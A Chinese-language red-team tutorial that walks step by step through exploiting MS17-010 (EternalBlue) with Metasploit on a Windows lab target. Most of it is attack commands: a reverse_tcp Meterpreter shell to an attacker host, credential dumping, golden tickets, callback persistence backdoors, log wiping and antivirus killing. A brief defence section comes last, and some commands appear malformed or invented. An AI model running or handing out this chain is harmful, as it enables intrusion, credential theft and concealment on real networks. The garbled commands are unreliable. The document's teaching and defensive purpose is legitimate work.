1. 红队演练环境搭建与工具准备
在开始实战演练之前,我们需要先搭建一个安全的测试环境。我建议使用VirtualBox或VMware创建三台虚拟机:一台Kali Linux(攻击机)、一台Windows 7(靶机)和一台Windows Server 2008(备用靶机)。这里有个小技巧,记得给Windows系统打上特定的补丁状态——对于永恒之蓝漏洞,我们需要保持系统未安装MS17-010安全更新。
Kali Linux自带Metasploit框架,但需要手动更新到最新版本。我习惯先运行这两个命令:
sudo apt update sudo apt install metasploit-framework在Windows靶机配置上,有几点需要特别注意:
- 关闭防火墙或添加445端口例外规则
- 确保SMBv1服务处于启用状态
- 为方便调试,建议关闭UAC和杀毒软件
注意:实际渗透测试中必须获得书面授权才能进行此类操作,本文仅用于教学演示环境。
2. 目标发现与端口扫描实战
2.1 基础扫描技术
我通常从简单的TCP全连接扫描开始,使用Metasploit内置的端口扫描模块:
msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 135-445,3389 msf6 auxiliary(scanner/portscan/tcp) > set THREADS 20 msf6 auxiliary(scanner/portscan/tcp) > run这种扫描方式虽然准确率高,但容易被防火墙记录。在实际红队行动中,我更喜欢使用SYN扫描:
msf6 > use auxiliary/scanner/portscan/syn msf6 auxiliary(scanner/portscan/syn) > set PORTS 445 msf6 auxiliary(scanner/portscan/syn) > set INTERFACE eth02.2 服务指纹识别
发现开放445端口后,我们需要确认SMB服务版本。这里有个实用技巧——同时使用两个检测模块互相验证:
msf6 > use auxiliary/scanner/smb/smb_version msf6 > use auxiliary/scanner/smb/smb_enumshares我遇到过不少企业内网环境会修改默认端口,这时候可以结合Nmap的版本探测功能:
nmap -sV -p 445 --script=smb-os-discovery 192.168.1.1003. 漏洞验证与深度利用
3.1 MS17-010漏洞检测
确认目标运行SMBv1后,使用专用检测模块:
msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > set CHECK_ARCH false msf6 auxiliary(scanner/smb/smb_ms17_010) > run这里有个坑要注意:如果目标系统是64位但检测结果显示不支持,可以尝试关闭架构检查。我在某次实战中就遇到过误报情况。
3.2 漏洞利用实战
确认漏洞存在后,选择EternalBlue利用模块:
msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.10 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit如果遇到失败,可以尝试以下技巧:
- 调整ProcessName参数为其他系统进程
- 修改GroomAllocations数值(12-15之间)
- 更换为ms17_010_psexec模块
4. 后渗透阶段操作
4.1 Meterpreter基础操作
成功获取会话后,我习惯先执行这些命令:
meterpreter > sysinfo meterpreter > run post/windows/gather/checkvm meterpreter > load kiwi meterpreter > creds_all特别推荐使用migrate命令迁移到稳定进程:
meterpreter > ps meterpreter > migrate 10564.2 权限维持技术
在实战中,我通常会建立多个持久化后门:
meterpreter > run persistence -X -i 60 -p 443 -r 192.168.1.10 meterpreter > run post/windows/manage/enable_rdp meterpreter > run post/windows/manage/sticky_keys对于域环境,还可以使用黄金票据:
meterpreter > dcsync_ntlm krbtgt meterpreter > golden_ticket_create -u Administrator -d demo.com -s S-1-5-21-...5. 痕迹清理与防御规避
5.1 日志清除技巧
专业红队必须清理痕迹,我常用的方法:
meterpreter > clearev meterpreter > run post/windows/manage/delete_user_logs更彻底的做法是直接禁用日志服务:
meterpreter > sc stop eventlog meterpreter > sc config eventlog start= disabled5.2 对抗杀毒软件
针对常见杀毒软件,可以使用这些技巧:
meterpreter > run killav meterpreter > run post/windows/manage/av_exploit_bypass对于内存扫描,建议使用:
meterpreter > execute -f notepad -m -d calc.exe meterpreter > migrate -N notepad.exe6. 防御方案与检测建议
6.1 企业防护措施
根据实战经验,有效的防御方案包括:
- 禁用SMBv1协议
- 部署网络IDS规则检测EternalBlue特征
- 启用Windows事件日志审核策略
- 定期进行漏洞扫描和补丁管理
6.2 攻击检测指标
安全团队应重点关注这些异常行为:
- 异常的445端口通信流量
- svchost.exe产生子进程
- 短时间内大量内核池分配请求
- 系统日志中出现事件ID 4657(注册表修改)
我在一次企业内网渗透中就因为忘记修改默认的Meterpreter心跳间隔而被SOC团队发现,这提醒我们实际操作中每个细节都至关重要。